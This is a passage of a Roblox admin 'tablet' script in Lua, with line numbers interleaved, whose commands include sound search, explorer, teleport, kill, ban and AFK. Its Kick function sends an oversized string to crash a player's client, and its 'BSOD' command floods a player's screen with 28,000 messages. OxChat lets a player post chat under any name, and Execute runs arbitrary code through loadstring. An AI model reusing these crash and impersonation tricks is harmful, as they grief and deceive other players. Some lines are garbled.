694
           epicsound.SoundId="rbxass/setid://162682002"
695
       elseif epicsound.SoundId=="rbxassetid://zelda" then
696
           epicsound.SoundId="rbxassetid://158215156"
697
       elseif epicsound.SoundId=="rbxassetid://cc" then
698
           epicsound.SoundId="rbxassetid://177080835"
699
     end
700
  epicsound:Play()
701
end
702
 
703
 
704
function StopMusic(parent)
705
  if parent==nil then parent=script end
706
                    for _,v in pairs(parent:GetChildren()) do
707
            if v:IsA("Sound") then
708
        v:stop()
709
        v.Volume = 0
710
        wait()
711
                v:Destroy()
712
            end
713
        end
714
end
715
 
716
Savage.Functions.Kick = function(Player)
717
local Re = Instance.new('RemoteEvent',workspace):FireClient(Player,{string.rep('Kicked',2e5+5)})
718
    delay(1,function()
719
        pcall(function() workspace.RemoteEvent:Destroy() end)
720
        end)
721
end
722
 
723
Savage.Functions.SoundSearch2 = function(Speaker, msg, Num, load)
724
        if load == true then
725
        Savage.Functions.Dismiss(Speaker)
726
        Output(Speaker,'Searching...','Lime green',nil,'Searching')
727
        end
728
        http=game:GetService'HttpService'
729
url="http://roproxy.tk/catalog/json?Keyword="..http:UrlEncode(msg).."&Category=9&ResultsPerPage="..Num
730
local assets=http:JSONDecode(http:GetAsync(url))
731
Savage.Functions.Dismiss(Speaker)
732
for i,v in pairs(assets) do
733
    Output(Speaker, v.Name, GetColor(Speaker), function()
734
        Savage.Functions.Dismiss(Speaker)
735
        Id=assets[i].AssetId
736
                local Asset=game:GetService("MarketplaceService"):GetProductInfo(tonumber(v.AssetId))
737
                Output(Speaker, "AssetType: "..Asset['AssetTypeId'], GetColor(Speaker))
738
                Output(Speaker, "Name: "..Asset['Name'], GetColor(Speaker))
739
                Output(Speaker, "Sales: "..Asset['Sales'], GetColor(Speaker))
740
                Output(Speaker, 'Description: '..Asset['Description'],GetColor(Speaker))
741
                Output(Speaker, "Id: "..Asset['AssetId'], GetColor(Speaker))
742
                Output(Speaker, "Back",'Really red',function()Savage.Functions.SoundSearch2(Speaker, msg, Num, false)end,'Recent Page')
743
                Output(Speaker, "Play sound", 'Lime green', function()
744
            Savage.Functions.Dismiss(Speaker)
745
            StopMusic(script)
746
        PlaySound(Asset['Name'],tonumber(v.AssetId), 1,false)
747
 end)
748
        Output(Speaker, "Nightcore It!", 'Lime green', function()
749
            Savage.Functions.Dismiss(Speaker)
750
            StopMusic()
751
            PlaySound(Asset['Name'],tonumber(v.AssetId), 1.25,false)
752
          end)
753
        Output(Speaker, "Play sound custom pitch",  'Lime green', function()
754
          Savage.Functions.Dismiss(Speaker)
755
              for i = .1, 2, .1 do
756
                Output(Speaker, i,GetColor(Speaker), function()
757
            Savage.Functions.Dismiss(Speaker)
758
            StopMusic()
759
            PlaySound(Asset['Name'],tonumber(v.AssetId), i,false)
760
                end)
761
              end
762
          end)
763
    end)
764
end
765
end
766
 
767
Savage.Functions.SoundSearch = function(Speaker, msg, Num)
768
        Num = 10
769
Savage.Functions.Dismiss(Speaker)
770
Output(Speaker,'How many results?','Really red')
771
Output(Speaker,'5','Lime green',function() Savage.Functions.SoundSearch2(Speaker,msg,5,true) end)
772
Output(Speaker,'10','Lime green',function() Savage.Functions.SoundSearch2(Speaker,msg,10,true) end)
773
Output(Speaker,'20','Lime green',function() Savage.Functions.SoundSearch2(Speaker,msg,20,true) end)
774
Output(Speaker,'30','Lime green',function() Savage.Functions.SoundSearch2(Speaker,msg,30,true) end)
775
Output(Speaker,'40','Lime green',function() Savage.Functions.SoundSearch2(Speaker,msg,40,true) end)
776
Output(Speaker,'50','Lime green',function() Savage.Functions.SoundSearch2(Speaker,msg,50,true) end)
777
--Output(Speaker,'60','Lime green',function() Savage.Functions.SoundSearch2(Speaker,msg,60,true) end)
778
--Output(Speaker,'70','Lime green',function() Savage.Functions.SoundSearch2(Speaker,msg,70,true) end)
779
--Output(Speaker,'80','Lime green',function() Savage.Functions.SoundSearch2(Speaker,msg,80,true) end)
780
--Output(Speaker,'90','Lime green',function() Savage.Functions.SoundSearch2(Speaker,msg,90,true) end)
781
--Output(Speaker,'100','Lime green',function() Savage.Functions.SoundSearch2(Speaker,msg,100,true) end)--]]
782
end
783
 
784
Savage.Functions.Execute = function(Plr, msg)
785
                local Res,Err=loadstring(msg)() --Res is here
786
        if Err then
787
                Output(Plr, Err, "Really red")
788
        elseif not Err then
789
                getfenv(Res).print=function(...)
790
                        local D={...}
791
                        for i,P in next,D do
792
                                Output(Plr, tostring(P), "Really blue")
793
                        end
794
        end
795
    end
796
end
797
 
798
function ShowSortedCommands(p)
799
        Savage.Functions.Dismiss(p)
800
        wait(0.5)
801
                Output(p,'Rank 0 commands',GetColor(p),function() ShowCommandsForRank(p,0) end)
802
        Output(p,'Rank 1 commands',GetColor(p),function() ShowCommandsForRank(p,1) end)
803
                Output(p,'Rank 2 commands',GetColor(p),function() ShowCommandsForRank(p,2) end)
804
        Output(p,'Rank 3 commands',GetColor(p),function() ShowCommandsForRank(p,3) end)
805
                Output(p,'Rank 4 commands',GetColor(p),function() ShowCommandsForRank(p,4) end)
806
        Output(p,'Rank 5 commands',GetColor(p),function() ShowCommandsForRank(p,5) end)
807
                Output(p,'Rank 6 commands',GetColor(p),function() ShowCommandsForRank(p,6) end)
808
                        Output(p,'Rank 7 commands',     GetColor(p), function() ShowCommandsForRank(p,7) end)
809
        Output(p,'All commands',GetColor(p),function() ShowCommandsForRank(p,5) end)
810
                Output(p,'Commands for your rank ('..GetRank(p)..')','Lime green',function() ShowCommandsForRank(p,GetRank(p)) end)
811
                Output(p,'Dismiss','Really red',function() Savage.Functions.Dismiss(p) end)
812
end
813
 
814
Savage.Functions.ShowMusic = function(Speaker)
815
        Savage.Functions.Dismiss(Speaker)
816
        for _,a in pairs(script:GetChildren()) do
817
                if a:IsA('Sound') then
818
                        Output(Speaker,a['Name'],GetColor(Speaker),function()
819
                                Output(Speaker,'Destroy '..a['Name'],'Really red',function()
820
                                        for i = 1,20 do
821
                                                a.Volume = a.Volume - .05
822
                                                wait()
823
                                        end
824
                                        Savage.Functions.ShowMusic(Speaker)
825
                                        a:Destroy()
826
                                end)
827
                                if a.IsPlaying ==  false then
828
                                Output(Speaker,'Play','Lime green',function()
829
                                        a:play()
830
                                        Savage.Functions.ShowMusic(Speaker)
831
                                end)
832
                                end
833
                                if a.IsPlaying == true then
834
                                        Output(Speaker,'Pause','Really red',function()
835
                                        a:stop()
836
                                        Savage.Functions.ShowMusic(Speaker)
837
                                end)
838
                                end
839
                                Output(Speaker, 'Restart','Really red',function()a:Play()end)
840
                               
841
                                Output(Speaker,a['SoundId'],GetColor(Speaker),nil,'Sound Id')
842
                                --Output(Speaker,a.Parent,GetColor(Speaker),nil,'Parent')
843
                                Output(Speaker,a['Volume'],GetColor(Speaker),nil,'Volume')
844
                                Output(Speaker,a['Pitch'],GetColor(Speaker),nil,'Pitch')
845
                                Output(Speaker,a['Name'],GetColor(Speaker),nil,'Name')
846
                                Output(Speaker,'Change Pitch',GetColor(Speaker),function()
847
                                        Savage.Functions.Dismiss(Speaker)
848
                                for i = .1, 2, .1 do
849
                Output(Speaker, i,GetColor(Speaker), function()
850
            Savage.Functions.ShowMusic(Speaker)
851
a.Pitch = i
852
end)
853
end
854
 
855
                                end)    Output(Speaker,'Change Volume',GetColor(Speaker),function()
856
                                        Savage.Functions.Dismiss(Speaker)
857
                                for i = .1, 2, .1 do
858
                Output(Speaker, i,GetColor(Speaker), function()
859
            Savage.Functions.ShowMusic(Speaker)
860
a.Volume = i
861
end)
862
end
863
 
864
                                end)
865
                                end)
866
                end
867
                end
868
end
869
 
870
Savage.Functions.Bland = function(Speaker)
871
                Savage.Functions.Dismiss(Speaker)
872
        for _,Player in pairs(Savage.Bans) do
873
                        --pcall(function()
874
                Output(Speaker,Player['Name'],GetColor(Speaker),function()
875
                        Savage.Functions.Dismiss(Speaker)
876
                        Output(Speaker,'Reason for ban: '..Player.Reason4Ban,GetColor(Speaker))
877
                        Output(Speaker,'Back','Really red',function()Savage.Functions.Bland(Speaker)end)
878
                        Output(Speaker,'Name: '..Player['Name'],GetColor(Speaker))
879
                        Output(Speaker,'Unban','Lime green',function()
880
                                Savage.Bans[Player['Name']] = nil
881
                                Savage.Bans[Player['Reason4Ban']] = nil
882
                                Savage.Functions.Bland(Speaker) end)
883
                end)
884
                        --end)
885
end
886
end
887
 
888
Savage.Functions.MakeLogs = function(Speaker)
889
    Savage.Functions.Dismiss(Speaker)
890
    Output(Speaker,'Back','Really red',function()Savage.Functions.ShowLogs(Speaker)end)
891
         Output(Speaker,'Refresh','Lime green',function()
892
             --Savage.Functions.Dismiss(Speaker)
893
Savage.Functions.MakeLogs(Speaker)
894
end) -- fixed I think
895
 
896
     table.foreach(Logs,function(i,v)
897
         Output(Speaker, '['..v['Name'].. ']: ' ..v['Message'], GetColor(Speaker), function()end)
898
  -- fixed I think
899
 
900
             end)
901
 
902
        --Output(Speaker, v, GetColor(v), function() Savage.Functions.Dismiss(Speaker)
903
    end
904
 
905
Savage.Functions.ShowLogs = function(Speaker)    
906
    Savage.Functions.Dismiss(Speaker)
907
    Output(Speaker,'View Logs','Lime green',function()Savage.Functions.MakeLogs(Speaker)end)
908
     Output(Speaker,'Clear logs','Really red',function()
909
         --Savage.Functions.Dismiss(Speaker)
910
         Output(Speaker,'Cleared Logs','Lime green',function()end)
911
         Logs = {}
912
     end)
913
end
914
function ShowCommandsForRank(p,rank)
915
        if rank==nil then rank=0 end
916
                Savage.Functions.Dismiss(p)
917
        wait(0.5)
918
        coroutine.resume(coroutine.create(function()
919
                for _,cmd in next,Savage.Commands do
920
                        if cmd.Rank<=rank then
921
                                Output(p,cmd.Name..'['..cmd.Rank..']',GetColor(p),function()
922
                                        Savage.Functions.Dismiss(p)
923
                                        wait(0.5)
924
                                        Output(p,'Name : ' ..cmd.Name,GetColor(p))
925
                                        Output(p,'Description : ' ..cmd.Description,GetColor(p))
926
                                        Output(p,'Usage: '..cmd.Say..key,       GetColor(p))
927
                                    Output(p,'Rank needed: '..cmd.Rank,GetColor(p))
928
                                    Output(p,'Back','Lime green',function() ShowCommandsForRank(p,rank) end)
929
                                        Output(p,'Dismiss','Really red',function() Savage.Functions.Dismiss(p) end)
930
                                end)
931
                        end
932
                end
933
                        Output(p,'Back','Lime green',function()Savage.Functions.Dismiss(p) ShowSortedCommands(p) end)
934
                        Output(p,'Dismiss','Really red',function()      Savage.Functions.Dismiss(p) end)
935
        end))
936
end
937
 
938
Savage.Functions.Networkplrs = function(Speaker)
939
        Savage.Functions.Dismiss(Speaker)
940
     for i,v in ipairs(game:FindService("NetworkServer"):GetChildren()) do
941
                                local Players=v:GetPlayer();
942
                                if(not Players.Parent) then
943
Output(Speaker,Players.Name..' | Nil',GetColor(Speaker),function()
944
        Savage.Functions.Dismiss(Speaker)
945
        if(not Players.Parent) then
946
Output(Speaker,'Parent: Nil',GetColor(Speaker),function()end)
947
        elseif (Players.Parent) then
948
        Output(Speaker,'Parent: Players',GetColor(Speaker),function()end)
949
end
950
Output(Speaker,'Name: '..Players.Name,GetColor(Speaker),function()end)
951
Output(Speaker,'Kick','Really red',function()
952
        Savage.Functions.Kick(Players)
953
end)
954
Output(Speaker,'Back','Lime green',function()
955
        Savage.Functions.Networkplrs(Speaker)
956
end)
957
end)
958
        elseif (Players.Parent) then
959
                Output(Speaker,Players.Name..' | Players',GetColor(Speaker),function()
960
                        Savage.Functions.Dismiss(Speaker)
961
        if(not Players.Parent) then
962
Output(Speaker,'Parent: Nil',GetColor(Speaker),function()end)
963
        elseif (Players.Parent) then
964
        Output(Speaker,'Parent: Players',GetColor(Speaker),function()end)
965
end
966
Output(Speaker,'Name: '..Players.Name,GetColor(Speaker),function()end)
967
Output(Speaker,'Kick','Really red',function()
968
        Savage.Functions.Kick(Players)
969
end)
970
Output(Speaker,'Back','Lime green',function()
971
        Savage.Functions.Networkplrs(Speaker)
972
end)
973
end)
974
                                end
975
                                end
976
        end
977
 
978
function GetChildNum(of)
979
local Object = #of:GetChildren()
980
return Object
981
end
982
 
983
Savage.Functions.PenPistol = function(Plr)
984
    plr = Plr
985
bp = plr.Backpack
986
Rool = Instance.new("Tool",bp)
987
Rool.Name = 'Pen Pistol'
988
Rool.ToolTip = 'A Class - A PenPistol [SavageScripts]'
989
bulcount = 0
990
Part = Instance.new("Part",bp['Pen Pistol'])
991
--mesh = Instance.new('BlockMesh',Part)
992
--mesh.Offset = Vector3.new(-1,2,-1)
993
Part.FormFactor = 'Custom'
994
Part.Position = Vector3.new(-1,2,-2)
995
Part.Rotation = Vector3.new(0,0,90)
996
Part.Size = Vector3.new(.2,.2,1)
997
Part.Name = "Handle"
998
local user = plr
999
TriggerDown = false
1000
local tool = bp['Pen Pistol']
1001
tool.Equipped:connect(function(mouse)
1002
user = tool.Parent
1003
mouse.Button1Down:connect(function()
1004
        local c = Instance.new('Sound',Part)
1005
c.Pitch = 2.3
1006
c.Volume = 3
1007
c.SoundId = 'http://www.roblox.com/asset/?id=25270310'
1008
c:play()
1009
        local ray = Ray.new(tool.Handle.CFrame.p, (mouse.Hit.p - tool.Handle.CFrame.p).unit*300)
1010
       
1011
local hit, position = game.Workspace:FindPartOnRay(ray, user)
1012
local distance = (position - tool.Handle.CFrame.p).magnitude
1013
local rayPart = Instance.new("Part", workspace)
1014
rayPart.BottomSurface = 'Smooth'
1015
 rayPart.Size = Vector3.new(0.2, 0.2, distance)
1016
 rayPart.formFactor = Enum.FormFactor.Custom
1017
 rayPart.CFrame = CFrame.new(position, tool.Handle.CFrame.p) * CFrame.new(0, 0, -distance/2)
1018
rayPart.Name = "raypart"
1019
 rayPart.FormFactor = 'Custom'
1020
 rayPart.BrickColor = BrickColor.Yellow()
1021
 rayPart.TopSurface = 'Smooth'
1022
rayPart.Anchored = true
1023
rayPart.CanCollide = false
1024
local humanoid = hit
1025
 if humanoid then
1026
        if humanoid ~= rayPart then
1027
                if humanoid.Name ~= 'Base' then
1028
        humanoid.BrickColor = BrickColor.Red()
1029
        for i = 1,20 do
1030
                humanoid.Transparency = humanoid.Transparency + .05
1031
                wait()
1032
        end
1033
        humanoid:Destroy()
1034
        end
1035
        end
1036
 end
1037
--[[local part  =Instance.new('Part',user)
1038
part.Anchored = true
1039
part.BrickColor = BrickColor.Black()
1040
part.CFrame = CFrame.new(position, tool.Handle.CFrame.p) * CFrame.new(0, 0, -distance/2)
1041
part.Name = 'hitpart'
1042
part.FormFactor = 'Custom'
1043
part.CanCollide = false
1044
part.Size = Vector3.new(.2,.2,.2)
1045
game.Debris:AddItem(part, 2)--]]
1046
--[[local m = Instance.new('Explosion',workspace)
1047
m.BlastRadius = 1
1048
m.Position = mouse.Hit.p--]]
1049
 rayPart.Anchored = true
1050
bulcount = bulcount + 1
1051
print(bulcount..' Bullets fired')
1052
game.Debris:AddItem(rayPart, .1)
1053
end)
1054
end)
1055
 
1056
game:GetService('RunService').Heartbeat:connect(function()
1057
        if plr.Character.Humanoid.Health <= 1 then
1058
                --Rool:Destroy()
1059
                plr.Character.Humanoid:Destroy()
1060
                e = Instance.new('Humanoid',plr.Character)
1061
                --plr:MakeJoints()
1062
        end
1063
end)
1064
user.ChildAdded:connect(function(p)
1065
        if p.Name == 'raypart' then
1066
game.Debris:AddItem(p,4)
1067
end
1068
end)
1069
end
1070
 
1071
--[[m = Instance.new('Script',CloneFolder)
1072
m.Name = 'Nothing to clone'
1073
Savage.Functions.Expl = function(Speaker, item)
1074
item = {}
1075
Savage.Functions.Dismiss(Speaker)
1076
Output(Speaker,'Dismiss','Really red',function()Savage.Functions.Dismiss(Speaker)end)
1077
Output(Speaker,'ClassName: ',GetColor(Speaker),nil)
1078
Output(Speaker,'Exploreable Children: '..GetChildNum(game),GetColor(Speaker),nil)
1079
Output(Speaker,'Explore Game','Lime green',function()
1080
        Savage.Functions.Dismiss(Speaker)
1081
        Output(Speaker,'Getting Objects','Lime green',nil,'Searching...')
1082
        wait(math.random(GetChildNum(game)/10/math.random(1,3)))
1083
        Savage.Functions.Dismiss(Speaker)
1084
for _,Item in pairs(game:GetChildren()) do
1085
        if Item:IsA('Instance') then end
1086
        if Item then
1087
        Output(Speaker,Item.Name,GetColor(Speaker),nil)
1088
        end
1089
end
1090
end)
1091
end--]]
1092
 
1093
--[[Output = function(Player,Text,Color,Function,Title)
1094
    if Text==nil then Text='NIL' end;
1095
    if Title==nil then Title = 'SAVAGE' end;
1096
    Text='['..Title..']\n'..Text--]]
1097
 
1098
Savage.Functions.MakeBase = function()
1099
       
1100
        local base = Instance.new('Part',workspace)
1101
base.CFrame = CFrame.new(0,-0.6,0)
1102
base.FormFactor = 'Custom'
1103
base.Name = 'Base'
1104
base.BrickColor = BrickColor.new('Bright green')
1105
base.TopSurface = 'Smooth'
1106
base.BottomSurface = 'Smooth'
1107
base.Anchored = true
1108
base.Material = 'Grass'
1109
base.Size = Vector3.new(700,1.2,700)
1110
base.Locked = true
1111
 
1112
end
1113
 
1114
Savage.Functions.Clean = function(Speaker)
1115
    Output(Speaker,'Are you sure, this wll also disable your script',GetColor(Speaker),nil,'Positive?')
1116
    Output(Speaker,'Yes','Lime green',function()
1117
        local e = Instance.new('Message',workspace)
1118
e.Text = 'Cleaning'
1119
e.Name = 'Cleaning Message'
1120
for _,item in pairs(game.Workspace:GetChildren()) do
1121
        if item then
1122
        if item.Name ~= 'Terrain' then
1123
                if item.Name ~= 'Base' then
1124
                        if item.Name ~= 'Cleaning Message' then
1125
        item:Destroy()
1126
        end end
1127
end end end
1128
e.Text = 'Cleaned'
1129
Savage.Functions.MakeBase()
1130
for _,v in pairs(game.Players:GetChildren()) do
1131
        if v:IsA('Player') then
1132
                v:LoadCharacter()
1133
                wait()
1134
        end
1135
end
1136
wait(1.5)
1137
e:Destroy()--]]
1138
end)
1139
Output(Speaker,'No','Really red',function()
1140
    Savage.Functions.Dismiss(Speaker)
1141
    end)
1142
end
1143
 
1144
Savage.Functions.IsInstance = function(Object)
1145
        if pcall(function() local test = Object.ClassName end) then
1146
                return true
1147
        end
1148
        return false
1149
end
1150
 
1151
Savage.Functions.ExplInstance = function(Speaker, Object)
1152
        Savage.Functions.Dismiss(Speaker)
1153
        if not Savage.Functions.IsInstance(Object) then
1154
                Output(Speaker,'That object cannot be explored!','Really red',nil,"Explorer")
1155
                return
1156
        end
1157
        Output(Speaker,Object.Name,'Really red',function()Object:Destroy()end,'Destroy')
1158
        Output(Speaker,"Explore children",GetColor(Speaker),function()
1159
      Savage.Functions.ExplChildren(Speaker, Object)
1160
        end, "Explorer")
1161
end
1162
 
1163
Savage.Functions.ExplChildren = function(Speaker, Object)
1164
        Savage.Functions.Dismiss(Speaker)
1165
        if not Savage.Functions.IsInstance(Object) then
1166
                Output(Speaker,'That object cannot be explored!','Really red',nil,"Explorer")
1167
                return
1168
        end
1169
        Output(Speaker,Object.Name,GetColor(Speaker),nil,'Currently Exploring')
1170
        for _,Item in ipairs(Object:GetChildren()) do
1171
                if Savage.Functions.IsInstance(Item) then
1172
                        Output(Speaker,Item.Name,GetColor(Speaker),function()
1173
                                Savage.Functions.ExplInstance(Speaker,Item)
1174
                        end,"Explorer")
1175
                end
1176
        end
1177
end
1178
 
1179
Savage.Functions.OxChat = function(Speaker, Plr)
1180
        Plr = Plr--//Ur name pls
1181
--13 = Enter key
1182
local Name
1183
local SV
1184
a = Instance.new('ScreenGui',Plr.PlayerGui)
1185
b = Instance.new('TextBox',a)
1186
b.Draggable = false
1187
b.MultiLine = true
1188
b.ClearTextOnFocus = true
1189
b.Size = UDim2.new(0,300,0,140)
1190
b.FontSize = 'Size18'
1191
b.Font = 'Arial'
1192
b.Position = UDim2.new(0,20,0,440)
1193
b.Active = true
1194
b.Text = 'Custom Text'
1195
ba = Instance.new('TextBox',a)
1196
ba.Draggable = false
1197
ba.MultiLine = true
1198
ba.ClearTextOnFocus = true
1199
ba.Size = UDim2.new(0,300,0,20)
1200
ba.FontSize = 'Size18'
1201
ba.Font = 'Arial'
1202
ba.Position = UDim2.new(0,20,0,420)
1203
ba.Active = true
1204
ba.Text = 'Custom Name'
1205
local bb = Instance.new('TextButton',a)
1206
bb.Draggable = false
1207
bb.Size = UDim2.new(0,300,0,20)
1208
bb.FontSize = 'Size18'
1209
bb.Font = 'ArialBold'
1210
bb.Position = UDim2.new(0,20,0,400)
1211
bb.Active = true
1212
bb.Text = 'Enter Text!'
1213
for _,mk in pairs(game.Players:GetPlayers()) do
1214
local SV1 = Instance.new('StringValue')
1215
SV1.Parent = mk
1216
SV1.Name = 'SB_Chat'
1217
SV1.Value = "[Server]/"..Plr.Name.." has recieved an oxchat gui from "..Speaker.Name
1218
game.Debris:AddItem(SV1, 2)
1219
end
1220
bb.MouseButton1Click:connect(function()
1221
for _,v in pairs(game.Players:GetPlayers()) do
1222
SV = Instance.new('StringValue')
1223
SV.Parent = v
1224
SV.Name = 'SB_Chat'
1225
SV.Value = ""..ba.Text.."/"..b.Text..""
1226
game.Debris:AddItem(SV, .1)
1227
end
1228
end)
1229
end
1230
 
1231
 
1232
Savage.Functions.Expl = function(Speaker, item)
1233
        Savage.Functions.ExplChildren(Speaker, game)
1234
end
1235
 
1236
Savage.Functions.PriBase = function()
1237
local base = Instance.new('Part',script)
1238
base.CFrame = CFrame.new(0,7000,0)
1239
base.FormFactor = 'Custom'
1240
base.Name = 'Private Base'
1241
base.BrickColor = BrickColor.new('Bright green')
1242
base.TopSurface = 'Smooth'
1243
base.BottomSurface = 'Smooth'
1244
base.Anchored = true
1245
base.Material = 'Grass'
1246
base.Size = Vector3.new(2048,.2,2048)
1247
base.Locked = true
1248
end
1249
 
1250
Savage.Functions.TpBase = function(plr)
1251
        if script:FindFirstChild('Private Base') then
1252
local   PlayerTorso = plr.Character.Torso
1253
        PlayerTorso.Position = script['Private Base'].Position + Vector3.new(0,5,0)
1254
end
1255
end
1256
 
1257
Savage.Functions.TpHome = function(plr)
1258
        if workspace.Base then
1259
local   PlayerTorso = plr.Character.Torso
1260
        PlayerTorso.Position = workspace.Base.Position + Vector3.new(0,5,0)
1261
end
1262
end
1263
 
1264
AddCmd('Pri Base ','pb',2,'Make a private base.','No arguments',function(Speaker, msg)
1265
            Savage.Functions.PriBase()
1266
              Output(Speaker,'Created a base',GetColor(Speaker),nil,'Success!')
1267
end)
1268
 
1269
AddCmd('Pri Base Teleport','tpb',2,'Teleport a player to you private base.',{'others'},function(Speaker, msg)
1270
             for _,Player in next,(Savage.Functions.GetPlayers(Speaker,msg)) do
1271
          if Player.Character then
1272
            Savage.Functions.TpBase(Player)
1273
              Output(Speaker,Player.Name..' Is now at your Private Base',GetColor(Speaker),nil,'Success!')
1274
        end
1275
    end
1276
end)
1277
 
1278
--[[AddCmd('Pen Pistol','gun',3,'Give a player a custom made Pen Pistol.',{'others', 'all'},function(Speaker, msg)
1279
             for _,Player in next,(Savage.Functions.GetPlayers(Speaker,msg)) do
1280
          if Player.Backpack and Player.Character then
1281
            Savage.Functions.PenPistol(Player)
1282
              Output(Speaker,Player.Name..' Recieved a Pen Pistol',GetColor(Speaker),nil,'Success!')
1283
        end
1284
    end
1285
end)--]]--Not working cuz its not a local script...
1286
 
1287
AddCmd('Base Teleport','tph',2,'Teleport a player to the main base.',{'others'},function(Speaker, msg)
1288
             for _,Player in next,(Savage.Functions.GetPlayers(Speaker,msg)) do
1289
          if Player.Character then
1290
            Savage.Functions.TpHome(Player)
1291
              Output(Speaker,Player.Name..' Is now at the home base',GetColor(Speaker),nil,'Success!')
1292
        end
1293
    end
1294
end)
1295
 
1296
AddCmd('View Commands','cmds',0,'View all the commands','No arguments',function(plr, msg)
1297
          ShowSortedCommands(plr)    
1298
end)
1299
 
1300
AddCmd('Explore','explore',3,'Explore the game.','No arguments',function(plr, msg)
1301
          Savage.Functions.Expl(plr, msg)    
1302
end)
1303
 
1304
AddCmd('Workspace','workspace',3,'Explore the workspace.','No arguments',function(plr, msg)
1305
          Savage.Functions.ExplChildren(plr, workspace)    
1306
end)
1307
 
1308
 
1309
AddCmd('Dismiss all','dta',5,'Dismiss everyones tablet.','No arguments',function(plr,msg)
1310
      Savage.Functions.DismissAll(plr)
1311
end)
1312
 
1313
AddCmd('Playing music','mymusic',2,'Shows your music.','mym',function(plr,msg)
1314
      Savage.Functions.ShowMusic(plr)
1315
end)
1316
 
1317
AddCmd('Kill','kill',2,'Kill a player.',{'others'},function(Speaker, msg)
1318
             for _,Player in next,(Savage.Functions.GetPlayers(Speaker,msg)) do
1319
          if Player then
1320
              Player.Character:BreakJoints() -- o shiz  
1321
              Output(Speaker,'Killed '..Player.Name,GetColor(Speaker),nil,'Success!')
1322
        end
1323
    end
1324
end)--foreach--lel
1325
 
1326
AddCmd('Kick','kick',3,'Kick a player.',{'others'},function(Speaker, msg)
1327
      for _,Player in next,(Savage.Functions.GetPlayers(Speaker,msg)) do
1328
          if Player then
1329
             Savage.Functions.Kick(Player)  
1330
             Output(Speaker,'Kicked '..Player.Name,GetColor(Speaker),nil,'Success!')
1331
        end
1332
    end
1333
end)
1334
 
1335
AddCmd('Ban','ban',5,'Ban a player.',{'others'},function(Speaker, msg)
1336
 
1337
      for _,Player in next,(Savage.Functions.GetPlayers(Speaker,msg)) do
1338
          if Player then
1339
        Savage.Functions.Kick(Player)
1340
        Output(Speaker,'Would you like to set a reason for '..Player.Name..'\'s ban?',GetColor(Speaker),nil,'Set Reason4Ban?')
1341
        Output(Speaker,'No','Really red',function()
1342
                reason = 'Not specified'
1343
                 table.insert(Savage.Bans, {['Name'] = Player.Name, ['Reason4Ban'] = reason})  
1344
                Output(Speaker,'Banned '..Player.Name,GetColor(Speaker),nil,'Success!')
1345
        end,
1346
        'Not Really')
1347
             Output(Speaker,'Yes','Lime green',function()
1348
                Output(Speaker,'Trash talking','Really red',function()
1349
                        reason = 'Trash talking'
1350
                        table.insert(Savage.Bans, {['Name'] = Player.Name, ['Reason4Ban'] = reason})  
1351
                Output(Speaker,'Banned '..Player.Name,GetColor(Speaker),nil,'Success!')
1352
                 end)
1353
                Output(Speaker,'Abusing','Really red',function()
1354
                        reason = 'Abusing'
1355
                        table.insert(Savage.Bans, {['Name'] = Player.Name, ['Reason4Ban'] = reason})  
1356
                Output(Speaker,'Banned '..Player.Name,GetColor(Speaker),nil,'Success!')
1357
                 end)
1358
                Output(Speaker,'Fming','Really red',function()
1359
                        reason = 'Fming'
1360
                        table.insert(Savage.Bans, {['Name'] = Player.Name, ['Reason4Ban'] = reason})  
1361
                Output(Speaker,'Banned '..Player.Name,GetColor(Speaker),nil,'Success!')
1362
                 end)
1363
                Output(Speaker,'Skid','Really red',function()
1364
                        reason = 'Skid'
1365
                        table.insert(Savage.Bans, {['Name'] = Player.Name, ['Reason4Ban'] = reason})  
1366
                Output(Speaker,'Banned '..Player.Name,GetColor(Speaker),nil,'Success!')
1367
                 end)
1368
        end,
1369
        'Why not :3')
1370
        end
1371
    end
1372
end)
1373
 
1374
AddCmd('Reset','reset',3,'Load a player.',{'others'},function(Speaker, msg)
1375
 for _,Player in next,(Savage.Functions.GetPlayers(Speaker, msg)) do
1376
          if Player then
1377
             Player:LoadCharacter();
1378
             Output(Speaker,'Reset '..Player.Name,GetColor(Speaker),nil,'Success!')
1379
     
1380
end
1381
    end
1382
end)
1383
 
1384
AddCmd('Set Rank','srank',1337,'Set a players rank.','No Arguments',function(Speaker, msg)
1385
 for _,Player in next,(Savage.Functions.GetPlayers(Speaker, msg)) do
1386
          if Player then
1387
            Savage.Functions.SetRank(Speaker, Player)
1388
     
1389
end
1390
    end
1391
end)
1392
 
1393
AddCmd('BSOD','bsod',6,'Bsod a player.','Not args',function(plr, msg)
1394
for _,Plr in next,(Savage.Functions.GetPlayers(plr, msg)) do
1395
if Plr then
1396
    for i = 0,28000 do
1397
        Instance.new("Message",Plr:FindFirstChild('PlayerGui')).Text='Your banned btw...'
1398
end
1399
    end
1400
    Plr.CameraMode = 'LockFirstPerson'
1401
end
1402
end)
1403
 
1404
AddCmd('Dismiss','dt',-1,'Dismiss a tablet.','No arguments',function(plr, msg)
1405
     Savage.Functions.Dismiss(plr)
1406
end)
1407
 
1408
AddCmd('Ping','ping',0,'Output a message.','No arguments',function(plr, msg)
1409
      Output(plr, msg,GetColor(plr),nil,'Ping!')
1410
end)
1411
 
1412
AddCmd('Afk','afk',-1,'Away from keyboard.','No arguments',function(Speaker, msg)
1413
        local afktime = -1
1414
        local afk = true
1415
        Speaker.Chatted:connect(function()
1416
                afk = false
1417
        end)
1418
        posz = Speaker.Character.Torso.CFrame.Z
1419
        posx = Speaker.Character.Torso.CFrame.X
1420
game["Run Service"].Heartbeat:connect(function()
1421
       
1422
        if Speaker.Character.Torso.CFrame.Z ~= posz then
1423
                if Speaker.Character.Torso.CFrame.X ~= posx then
1424
                afk = false
1425
        end
1426
        end
1427
end)
1428
     repeat afktime = afktime + 2
1429
        Savage.Functions.Dismiss(Speaker)
1430
        Output(Speaker,afktime..' Seconds',GetColor(plr),nil,'Afk for...')
1431
        wait(2)
1432
        Savage.Functions.Dismiss(Speaker)
1433
until afk == false
1434
afktime = -1
1435
Output(Speaker,Speaker.Name,'Lime green',nil,'Welcome back!')
1436
end)
1437
 
1438
AddCmd('Show banland','bland',2,'Shows a banlist of players','no args',function(Speaker, msg)
1439
        Savage.Functions.Bland(Speaker)
1440
end)
1441
 
1442
AddCmd('Set Key','keyset',5,'Set the key to your liking','no args',function(Speaker, msg)
1443
        if #msg>5 then
1444
            Output(Speaker,'Key is too long! [5 Characters or less]','Really red',nil,'Notice!')
1445
           else
1446
        key = msg
1447
wait()
1448
        Output(Speaker,'The main key has been set to '..key,'Lime green',nil,'Notice!')
1449
            end
1450
end)
1451
 
1452
